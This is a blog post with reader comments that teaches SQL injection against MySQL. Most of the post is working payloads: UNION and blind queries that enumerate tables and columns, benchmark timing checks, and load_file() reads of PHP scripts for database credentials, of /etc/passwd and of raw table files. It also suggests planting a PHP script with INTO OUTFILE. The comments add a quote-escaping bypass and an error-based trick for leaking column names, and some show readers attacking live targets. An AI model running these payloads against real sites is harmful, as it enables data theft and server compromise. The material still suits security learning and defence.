MySQL table and column names

Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

article overview

For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount.

1. The information_schema table

1.a. Read information_schema table normally

Sometimes on MySQL >=5.0 you can access the information_schema table.
So you may want to check which MySQL version is running:
0′ UNION SELECT version(),null /*
or:
0′ UNION SELECT @@version,null /*

Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point.

You can either get the names step by step or at once.

First, get the tablenames:
0′ UNION SELECT table_name,null FROM information_schema.tables WHERE version = ’9
Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names.
update: Testing another MySQL version (5.0.51a) I noticed that the version is “10″ for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”.

Second, get the columnnames:
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename

Or with one injection:
0′ UNION SELECT column_name,table_name FROM information_schema.columns /*
Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this.

If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line.

0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1

Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line:

0′ UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename

Once you know all table names and column names you can union select all the data you need.

For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type.

Ok, that was the easiest part.

1.b. Read information_schema table blindly

Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics.
However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example:
1′ AND 1=0 UNION SELECT @@version,null /*

If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version:
1′AND MID(version(),1,1) like ’4

The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4″. If not, I’ll guess the server is running MySQL 5. Check it out:
1′AND MID(version(),1,1) like ’5

Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests:
1′ UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /*
But be careful with the benchmark values, you dont want to crash your browser ;-). I’d suggest you to try some values first to get a acceptable response time.

Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point.

Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy?
We’ll use the same injection as in 1.), but now with blind injection technique:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m

Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables.
Once you got the right letter, move on to the next:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m
And so on.

If you got the tablename you can brute its columns. This works as the same principle:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m
And so on.

To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index):
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m
Or columnname:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m

Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal.
Check for the tablename:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’
Or for the column name:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’
Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long.

Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user.
If the following succeeds, it means that there is one user generated table:
1′ AND 34=(SELECT COUNT(*) FROM information_schema.tables)/*
There are two tables if the following is true:
1′ AND 35=(SELECT COUNT(*) FROM information_schema.tables)/*
And so on.

2. You don’t have access to information_schema table

If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL.
There is only one error message I could find that reveals a name:
1′%’0
Query failed: Column ‘id’ cannot be null

But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier.

If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course.

“To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.”

You can read out max_allowed_packet on MySQL 5
0′ UNION SELECT @@max_allowed_packet,null /*
Mostly you’ll find the standard value 1047552 (Byte).

Note that load_file always starts to look in the datadir. You can read out the datadir with:
0′ UNION SELECT @@datadir,null /*
So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt.

2.a. Read the script file

Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this:

0′ UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows)
0′ UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux)

The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path.
All about file privileges and webserver path can be found in my article about into outfile.
Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you.

2.b) Read the database file

On MySQL 4 and 5 you can also use load_file to get the table content.

The database files are usually stored in
@@datadir/databasename/

Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this:

0′ UNION SELECT load_file(‘databasename/tablename.MYD’),null /*

As you can see we need the databasename and tablename first. The databasename is easy:
0′ UNION SELECT database(),null /*

The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like:

0′ UNION SELECT ‘success’,null FROM testname /*

This will throw an error if testname does not exists, or display “success” if tablename testname exists.
If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first.
You can find a small wordlist for common tablenames here (by Raz0r) and here.

Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ;-))

(2.c. Compromising the server)

There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI).

If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me.

UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to.

UPDATE2: also have a look at this post.

About these ads

30 Responses to MySQL table and column names

  1. Reiners says:

    Thanks, glad you like it :)

  2. [...] rest is here: MySQL table and column names mid reiners 8217 weblog sqli table web securitymid, reiners 8217 weblog, sqli, table, web [...]

  3. maluc says:

    great article, particularly the blind injection section..
    one thing to note is that u skip a table and column when enumerating them in 1.b

    limit starts at an offset of zero, so going from “limit 1″ (equivalent to “limit 0,1″) to “limit 2,1″ will miss whatever table or column is at “limit 1,1″.

    mid() and other string functions start at an index of 1 .. just to keep things confusingly unsimilar. -.-

  4. Reiners says:

    Hi maluc, you are absolutely right, thanks for your input. I have just updatet the article. :)

  5. azimyasin says:

    Nice article.

  6. xiaomega says:

    hello ^^,
    i am really like ur tutorials ^^;
    i have a small problem that make crazy ; ;’
    when i try inject this
    -1+UNION+SELECT+0,0,0,load_file(‘/etc/passwd’),0/*
    i get this error >.<;

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’/etc/passwd\’),0/* ORDER BY name ASC LIMIT 0, 10′ at line 1

    i am almost crazy cause of this i googled everywhere i even checked mysql site and nothing about,
    i really want ur help.

    take care,
    xiaomega.

  7. Reiners says:

    seems like magic_quotes_gpc (escaping quotes and backslash) is turned on. if you use load_file() you can encode the filename with char() to get around this, for INTO OUTFILE there is no solution I know of.
    for further questions please visit sla.ckers.org forum :)

  8. xiaomega says:

    hmmm
    so if i encode it i’ll get areound it .
    if i made it in load_file i am sure i’ll found some other way to get in some many ..
    i just need way to read his codes ..
    how it’ll be use char()?
    thank you ^^;

  9. xiaomega says:

    nvm i asked too fast XD
    CONCAT(Char(),…)
    thank you.

  10. xiaomega says:

    simple program for converting string into chains of char’s
    <?
    $string=”FF8″;
    $sql=”CONCAT(“;
    for($i=0;$i

    bye,

  11. xiaomega says:

    nvm -_-; i forgot about it ^^; link
    http://www.unitymix.com/system/cache/s.txt

  12. funny says:

    love how this is used to try and hack other sites ..u do know this is a federal crime right?

  13. Reiners says:

    it is, and you should not do that. but if you are interested in webappsec too, want to get aware of SQLi and how dangerous it can be, how attackers may act, what to look out for if you need to secure your site or want to use the techniques at the upcoming CTF event you are welcome to use the ideas stored on this blog. ;)

  14. darkdevil says:

    hello rein, i have some problem with your tutorial. i have try to use your tutorial on the target and it’s work. but only @ /tmp/ dir. could you suggest me how to into outfile @ web dir server? i cannot find any more write permission dir @ that server. but i don’t believe that i couldn’t fine at least one dir to be write :).

  15. Reiners says:

    there is no “trick” I know of to escalate the privileges of the mysql user

  16. TiT says:

    Great!!!
    Thanks!!! ;)

  17. edward baddouh says:

    I was trying injection on my site when I got stuck with getting column names.. googling a little, I found your article. Nice work.

  18. [...] MySQL table and column names [...]

  19. [...] works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the [...]

  20. [...] MySQL table and column names [...]

  21. Cavallaro says:

    Today I found this blog and are amazed by the quality of information posted here. Nowadays are very few blogs that offer quality of information ,we subscribed to your blog via RSS and we look forward the following articles

  22. Paic says:

    Hi,

    I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
    It is using the 1%0 trick and MySQL subqueries.

    I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

    You’d better read this in order to understand what’s next:
    http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

    The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

    Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
    The sql query is expecting only one row as result.

    Here is our input:
    ‘ AND (SELECT * FROM USER_TABLE) = (1);

    MySQL answer:
    “Operand should contain 7 column(s)”

    MySQL told us that the table USER_TABLE has 7 columns! That’s great!

    Now we can use the UNION and 1%0 to retrieve some column’s name:

    The following query shouldn’t give you any error:
    ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1);

    Now let’s try with the first colum, simply add %0 to the first column in the UNION:
    ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1);

    MySQL answer:
    “Column ‘usr_u_id’ cannot be null”

    We’ve got the first column name: “usr_u_id”

    Then we proceed with the other columns…

    Example with the 4th column:
    ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1);

    if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

    Paic

  23. Reiners says:

    very cool thanks! I wrote a new blogpost about it. nicely found

  24. President says:

    thanks thankss

  25. dxt3r says:

    Hello.

    I found an injection on a site where I have the load_file priv., and I was able to load the /etc/passwd file. However I was unable to load any .MYD or .MYI files. I know the datadir, but it seems the files are in a different location. Is this possible, or am I doing something wrong?

    Thanks.

    • Reiners says:

      hi dxt3r, the files are normally located at concat(@@datadir,database(),0x2f,’table_name.MYD’). Make sure you have the right database name. I think it is possible to change that directory but it is much more likely that you dont have the file system privileges to read them.

      • dxt3r says:

        Thank you for your reply!

        I tried

        database_name/table_name.MYD

        ../database_name/table_name.MYD

        ../(lot’s of times)/../datadir_path/data/database/table_name.MYD

        None of them worked. I guess I don’t have the file system priv., which is weird because since it’s an sql injection the user must be ‘mysql’, and it’s strange that the mysql user doesn’t have read privileges for its own database files. Or I might be wrong in the though process somewhere, since i don’t know very much about unix, just the basic stuff.

  26. [...] you would like to know what the table and column names are and you try the [...]

  27. shyam says:

    how to write a query to get all column names from dm_document

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 77 other followers

%d bloggers like this: